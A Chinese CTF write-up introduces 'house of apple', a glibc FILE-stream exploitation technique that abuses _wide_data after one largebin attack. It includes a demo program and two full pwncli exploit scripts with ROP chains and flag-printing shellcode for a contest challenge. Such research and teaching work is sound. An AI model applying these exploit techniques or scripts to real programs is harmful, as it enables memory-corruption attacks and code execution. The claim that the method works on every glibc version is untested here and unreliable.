House of apple 一種新的glibc中IO攻擊方法
提出一種新的glibc
中IO
利用思路,暫且命名為house of apple
。
前言
眾所周知,glibc
高版本逐漸移除了__malloc_hook/__free_hook/__realloc_hook
等等一眾hook
全域性變數,ctf
中pwn
題對hook
鉤子的利用將逐漸成為過去式。而想要在高版本利用成功,基本上就離不開對IO_FILE
結構體的偽造與IO
流的攻擊。之前很多師傅都提出了一些優秀的攻擊方法,比如house of pig、house of kiwi 和 house of emma等。
其中,house of pig
除了需要劫持IO_FILE
結構體,還需要劫持tcache_perthread_struct
結構體或者能控制任意地址分配;house of kiwi
則至少需要修改三個地方的值:_IO_helper_jumps + 0xA0
和_IO_helper_jumps + 0xA8
,另外還要劫持_IO_file_jumps + 0x60
處的_IO_file_sync
指標;而house of emma
則至少需要修改兩個地方的值,一個是tls
結構體的point_guard
(或者想辦法洩露出來),另外需要偽造一個IO_FILE
或替換vtavle
為xxx_cookie_jumps
的地址。
總的來看,如果想使用上述方法成功地攻擊IO
,至少需要兩次寫或者一次寫和一次任意地址讀。而在只給一次任意地址寫(如一次largebin attack
)的情景下是很難利用成功的。
largebin attack
是高版本中為數不多的可以任意地址寫一個堆地址的方法,並常常和上述三種方法結合起來利用。本文將給出一種新的利用方法,在僅使用一次largebin attack
並限制讀寫次數的條件下進行FSOP
利用。順便說一下,house of banana 也只需要一次largebin attack
,但是其攻擊的是rtld_global
結構體,而不是IO
流。
上述方法利用成功的前提均是已經洩露出libc
地址和heap
地址。本文的方法也不例外。
利用條件
使用house of apple
的條件為:
1、程式從main
函式返回或能呼叫exit
函式
2、能洩露出heap
地址和libc
地址
3、 能使用一次largebin attack
(一次即可)
利用原理
原理解釋均基於amd64
程式。
當程式從main
函式返回或者執行exit
函式的時候,均會呼叫fcloseall
函式,該呼叫鏈為:
- exit
-
fcloseall
-
_IO_cleanup
- _IO_flush_all_lockp
- _IO_OVERFLOW
- _IO_flush_all_lockp
-
-
最後會遍歷_IO_list_all
存放的每一個IO_FILE
結構體,如果滿足條件的話,會呼叫每個結構體中vtable->_overflow
函式指標指向的函式。
使用largebin attack
可以劫持_IO_list_all
變數,將其替換為偽造的IO_FILE
結構體,而在此時,我們其實仍可以繼續利用某些IO
流函式去修改其他地方的值。要想修改其他地方的值,就離不開_IO_FILE
的一個成員_wide_data
的利用。
struct _IO_FILE_complete
{
struct _IO_FILE _file;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; // 劫持這個變數
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
amd64
程式下,struct _IO_wide_data *_wide_data
在_IO_FILE
中的偏移為0xa0
:
amd64:
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
我們在偽造_IO_FILE
結構體的時候,偽造_wide_data
變數,然後通過某些函式,比如_IO_wstrn_overflow
就可以將已知地址空間上的某些值修改為一個已知值。
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}
分析一下這個函式,首先將fp
強轉為_IO_wstrnfile *
指標,然後判斷fp->_wide_data->_IO_buf_base != snf->overflow_buf
是否成立(一般肯定是成立的),如果成立則會對fp->_wide_data
的_IO_write_base
、_IO_read_base
、_IO_read_ptr
和_IO_read_end
賦值為snf->overflow_buf
或者與該地址一定範圍內偏移的值;最後對fp->_wide_data
的_IO_write_ptr
和_IO_write_end
賦值。
也就是說,只要控制了fp->_wide_data
,就可以控制從fp->_wide_data
開始一定範圍內的記憶體的值,也就等同於任意地址寫已知地址。
這裡有時候需要繞過_IO_wsetb
函式裡面的free
:
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base); // 其不為0的時候不要執行到這裡
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
_IO_wstrnfile
涉及到的結構體如下:
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
char overflow_buf[64];
} _IO_strnfile;
typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
wchar_t overflow_buf[64]; // overflow_buf在這裡********
} _IO_wstrnfile;
其中,overflow_buf
相對於_IO_FILE
結構體的偏移為0xf0
,在vtable
後面。
而struct _IO_wide_data
結構體如下:
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
換而言之,假如此時在堆上偽造一個_IO_FILE
結構體並已知其地址為A
,將A + 0xd8
替換為_IO_wstrn_jumps
地址,A + 0xc0
設定為B
,並設定其他成員以便能呼叫到_IO_OVERFLOW
。exit
函式則會一路呼叫到_IO_wstrn_overflow
函式,並將B
至B + 0x38
的地址區域的內容都替換為A + 0xf0
或者A + 0x1f0
。
簡單寫一個demo
程式進行驗證:
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = puts_addr + 0x199804;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = puts_addr + 0x199830;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = puts_addr + 0x199868;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;
puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;
puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;
puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}
輸出結果如下:
roderick@ee8b10ad26b9:~/hack$ gcc demo.c -o demo -g -w && ./demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770 0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770 0x00007f648ba40870
===========================new value=======================
從輸出中可以看到,已經成功修改了sdterr->_wide_data
所指向的地址空間的記憶體。
利用思路
從上面的分析可以,在只給了1
次largebin attack
的前提下,能利用_IO_wstrn_overflow
函式將任意地址空間上的值修改為一個已知地址,並且這個已知地址通常為堆地址。那麼,當我們偽造兩個甚至多個_IO_FILE
結構體,並將這些結構體通過chain
欄位串聯起來就能進行組合利用。基於此,我總結了house of apple
下至少四種利用思路。
思路一:修改tcache
執行緒變數
該思路需要藉助house of pig
的思想,利用_IO_str_overflow
中的malloc
進行任意地址分配,memcpy
進行任意地址覆蓋。其程式碼片段如下:
int
_IO_str_overflow (FILE *fp, int c)
{
// ......
char *new_buf;
char *old_buf = fp->_IO_buf_base; // 賦值為old_buf
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); // 這裡任意地址分配
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen); // 劫持_IO_buf_base後即可任意地址寫任意值
free (old_buf);
// .......
}
利用步驟如下:
- 偽造至少兩個
_IO_FILE
結構體 - 第一個
_IO_FILE
結構體執行_IO_OVERFLOW
的時候,利用_IO_wstrn_overflow
函式修改tcache
全域性變數為已知值,也就控制了tcache bin
的分配 - 第二個
_IO_FILE
結構體執行_IO_OVERFLOW
的時候,利用_IO_str_overflow
中的malloc
函式任意地址分配,並使用memcpy
使得能夠任意地址寫任意值 - 利用兩次任意地址寫任意值修改
pointer_guard
和IO_accept_foreign_vtables
的值繞過_IO_vtable_check
函式的檢測(或者利用一次任意地址寫任意值修改libc.got
裡面的函式地址,很多IO
流函式呼叫strlen/strcpy/memcpy/memset
等都會調到libc.got
裡面的函式) - 利用一個
_IO_FILE
,隨意偽造vtable
劫持程式控制流即可
因為可以已經任意地址寫任意值了,所以這可以控制的變數和結構體非常多,也非常地靈活,需要結合具體的題目進行利用,比如題目中_IO_xxx_jumps
對映的地址空間可寫的話直接修改其函式指標即可。
思路二:修改mp_
結構體
該思路與上述思路差不多,不過對tcachebin
分配的劫持是通過修改mp_.tcache_bins
這個變數。打這個結構體的好處是在攻擊遠端時不需要爆破地址,因為執行緒全域性變數、tls
結構體的地址本地和遠端並不一定是一樣的,有時需要爆破。
利用步驟如下:
- 偽造至少兩個
_IO_FILE
結構體 - 第一個
_IO_FILE
結構體執行_IO_OVERFLOW
的時候,利用_IO_wstrn_overflow
函式修改mp_.tcache_bins
為很大的值,使得很大的chunk
也通過tcachebin
去管理 - 接下來的過程與上面的思路是一樣的
思路三:修改pointer_guard
執行緒變數之house of emma
該思路其實就是house of apple + house of emma
。
利用步驟如下:
- 偽造兩個
_IO_FILE
結構體 - 第一個
_IO_FILE
結構體執行_IO_OVERFLOW
的時候,利用_IO_wstrn_overflow
函式修改tls
結構體pointer_guard
的值為已知值 - 第二個
_IO_FILE
結構體用來做house of emma
利用即可控制程式執行流
思路四:修改global_max_fast
全域性變數
這個思路也很靈活,修改掉這個變數後,直接釋放超大的chunk
,去覆蓋掉point_guard
或者tcache
變數。我稱之為house of apple + house of corrision
。
利用過程與前面也基本是大同小異,就不在此詳述了。
其實也有其他的思路,比如還可以劫持main_arena
,不過這個結構體利用起來會更復雜,所需要的空間將更大。而在上述思路的利用過程中,可以選擇錯位構造_IO_FILE
結構體,只需要保證關鍵欄位滿足要求即可,這樣可以更加節省空間。
例題分析
這裡以某次市賽的題為例,題目為pwn_oneday
,附件下載連結在這裡。
這個題目禁止了execve
系統呼叫,能分配的chunk
的大小基本是固定的,並且只允許1
次讀和1
次寫,最多隻能分配0x10
次,使用的glibc
版本為2.34
。
題目分析
initial
首先是初始化,開啟了沙盒:
main
main
函式必須選一個key
,大小在6-10
。也就是說,分配的chunk
都會屬於largebin
範圍。
add
限制了只能分配key+0x10
、key+0x20
、2 * key + 0x10
大小的chunk
dele
存在UAF
,沒有清空指標。
read
只給1
次機會讀。
write
只給一次機會寫,並只洩露出0x10
個位元組的資料。
利用過程
這道題的限制還是很多的,當然,給的漏洞也很明顯。但是程式裡面沒有使用與IO
有關的函式,全部使用原始的read/write
去完成讀寫操作,並且使用glibc-2.34
版本,這個版本里面去掉了很多的hook
變數。
很明顯,需要使用一次讀洩露出libc
地址和heap
地址,然後用一次寫做一次largebin attack
。
如果用largebin attack
去劫持_rtld_global
的link_map
成員,那麼還需要一次寫去繞過for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
,否則這裡會造成死迴圈;如果打l_addr
成員,會發現能分配的堆的空間不足,l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
的值為0x201d70
,而就算每次分配0xaa0 * 2 + 0x10
,再分配16
次也沒這麼大。至於劫持別的成員,受限於沙盒,也很難完成利用。
由於限制了讀寫次數為1
次,就很難再洩露出pointer_guard
的值,也很難再覆蓋pointer_guard
的值,所以與pointer_guard
有關的利用也基本行不通。
因此,選擇使用house of apple
劫持_IO_FILE->_wide_data
成員進行利用。
在利用之前,還有一些準備工作需要做。我們需要進行合理的堆風水佈局,使得能夠在修改一個largebin chunk A
的bk_nextsize
的同時偽造一個chunk B
,並需要讓A
和B
在同一個bins
陣列中,然後釋放B
並進行largebin attack
,這樣就能保證既完成任意地址寫堆地址,也能控制寫的堆地址所屬的chunk
的內容。
對三種大小chunk
的size
進行分析,並設x = key + 0x10
,y = key + 0x20
, z = key * 2 + 0x10
。那麼有:
2 * y - z = 2 * key + 0x40 - 2 * key - 0x10 = 0x30
2 * y - 2 * x = 2 *key + 0x40 - 2 * key - 0x20 = 0x20
題目中還存在UAF
,於是就可以的構造出如下佈局:
堆風水步驟為:
- 釋放
chunk 1
,並將其置於largebin
中 - 利用一次寫的機會,修改
chunk 2
,此時修改了chunk1
的bk_nextsize
,並偽造一個chunk 3
- 釋放
chunk 3
,在其入鏈的過程中觸發largebin attack
,即可任意地址寫一個堆地址
經過計算,這裡選擇key
為0xa
,此時chunk 1
的大小為0xab0
,偽造的chunk 3
的大小為0xa80
。
基於上面對house of apple
的分析,首先使用思路三修改pointer_guard
,然後進行house of emma
利用。由於pointer_guard
是fs:[0x30]
,而canary
是fs:[0x28]
,所以直接找canary
,然後利用pwndbg
的search
命令搜尋即可,如下所示:
此時的利用步驟如下:
-
利用一次
write
的機會洩露出libc
地址和heap
地址 -
利用堆風水,構造
1
次largebin attack
,替換_IO_list_all
為堆地址 -
利用
house of apple
,修改掉pointer_guard
的值 -
利用
house of emma
並結合幾個gadgets
控制rsp
-
用
rop
鏈輸出flag
其exp
如下:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
small = 1
medium = 2
large = 3
key = 10
def add(c):
sla("enter your command: \n", "1")
sla("choise: ", str(c))
def dele(i):
sla("enter your command: \n", "2")
sla("Index: \n", str(i))
def read_once(i, data):
sla("enter your command: \n", "3")
sla("Index: ", str(i))
sa("Message: \n", flat(data, length=0x110 * key))
def write_once(i):
sla("enter your command: \n", "4")
sla("Index: ", str(i))
ru("Message: \n")
m = rn(0x10)
d1 = u64_ex(m[:8])
d2 = u64_ex(m[8:])
log_address_ex("d1")
log_address_ex("d2")
return d1, d2
def bye():
sla("enter your command: \n", "9")
sla("enter your key >>\n", str(key))
add(medium)
add(medium)
add(small)
dele(2)
dele(1)
dele(0)
add(small)
add(small)
add(small)
add(small)
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
dele(4)
dele(6)
add(large)
add(small)
add(small)
dele(8)
add(large)
target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x1f3ae0
_lock = libc_base + 0x1f5720
point_guard_addr = libc_base - 0x2890
expected = heap_base + 0x1900
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps
f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _lock
f2._mode = 0
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58
data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
0x100: [
add_rsp_0x20_pop_rbx_ret,
chain + 0x100,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc.sym.mprotect,
chain + 0x200
],
0x200: ShellcodeMall.amd64.cat_flag
}
},
0xa80: [0, 0xab1]
}
})
read_once(5, data)
dele(2)
add(large)
bye()
ia()
ia()
除錯截圖如下:
修改掉pointer_guard
:
然後使用_IO_cookie_read
控制程式執行流:
成功劫持rsp
:
接下來使用思路一,修改tcache
變數,對於該變數的尋找同樣可以使用search
命令:
此時的步驟如下:
- 使用
house of apple
修改tcache
變數為可控堆地址 - 使用
_IO_str_overflow
完成任意地址寫任意值,由於_IO_str_jumps
區域是可寫的,所以我選擇覆蓋這裡 - 仍然利用一些
gadgets
劫持rsp
,然後rop
洩露出flag
exp
如下:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
small = 1
medium = 2
large = 3
key = 10
def add(c):
sla("enter your command: \n", "1")
sla("choise: ", str(c))
def dele(i):
sla("enter your command: \n", "2")
sla("Index: \n", str(i))
def read_once(i, data):
sla("enter your command: \n", "3")
sla("Index: ", str(i))
sa("Message: \n", flat(data, length=0x110 * key))
def write_once(i):
sla("enter your command: \n", "4")
sla("Index: ", str(i))
ru("Message: \n")
m = rn(0x10)
d1 = u64_ex(m[:8])
d2 = u64_ex(m[8:])
log_address_ex("d1")
log_address_ex("d2")
return d1, d2
def bye():
sla("enter your command: \n", "9")
sla("enter your key >>\n", str(key))
add(medium) # 0
add(medium) # 1
add(small) # 2 fake
dele(2)
dele(1)
dele(0)
add(small) # 3
add(small) # 4
add(small) # 5 write
add(small) # 6
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
dele(4)
dele(6)
add(large)
add(small) # 8 del
add(small) # gap
dele(8)
add(large)
target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_str_jumps = libc_base + 0x1f4620
_lock = libc_base + 0x1f5720
tcache = libc_base - 0x2908
tcache_perthread_struct = heap_base + 0x1a10
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = tcache - 0x38
f1.vtable = _IO_wstrn_jumps
f2 = IO_FILE_plus_struct()
f2.flags = 0
f2._IO_write_base = 0
f2._IO_write_ptr = 0x1000
f2.chain = chain + 0x200
f2._IO_buf_base = chain + 0xf0
f2._IO_buf_end = chain + 0xf0 + 0x20
f2._lock = _lock
f2._mode = 0
f2.vtable = _IO_str_jumps
f3 = IO_FILE_plus_struct()
f3._IO_read_ptr = chain + 0x110
f3._IO_write_base = 0
f3._IO_write_ptr = 1
f3._lock = _lock
f3._mode = 0
f3.vtable = _IO_str_jumps
data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [0, 0x31, [magic_gadget] * 4],
0x110: [
add_rsp_0x20_pop_rbx_ret,
0x21,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc.sym.mprotect,
chain + 0x300
],
0x1b8: _IO_str_jumps,
0x200: bytes(f3),
0x300: ShellcodeMall.amd64.cat_flag
}
},
0xa80: [0, 0xab1]
}
})
read_once(5, data)
dele(2)
add(large)
bye()
ia()
除錯截圖:
修改掉tache
變數:
然後分配到_IO_str_jumps
:
後面的過程就一樣了:
最後成功輸出flag
:
總結
之前的一些IO
流攻擊方法對_wide_data
的關注甚少,本文提出一種新的方法,劫持了_wide_data
成員並在僅進行1
次largebin attack
的條件下成功進行FSOP
利用。且該方法可通殺所有版本的glibc
。
可以看到,house of apple
是對現有一些IO
流攻擊方法的補充,能在一次劫持IO
流的過程中做到任意地址寫已知值,進而構造出其他方法攻擊成功的條件。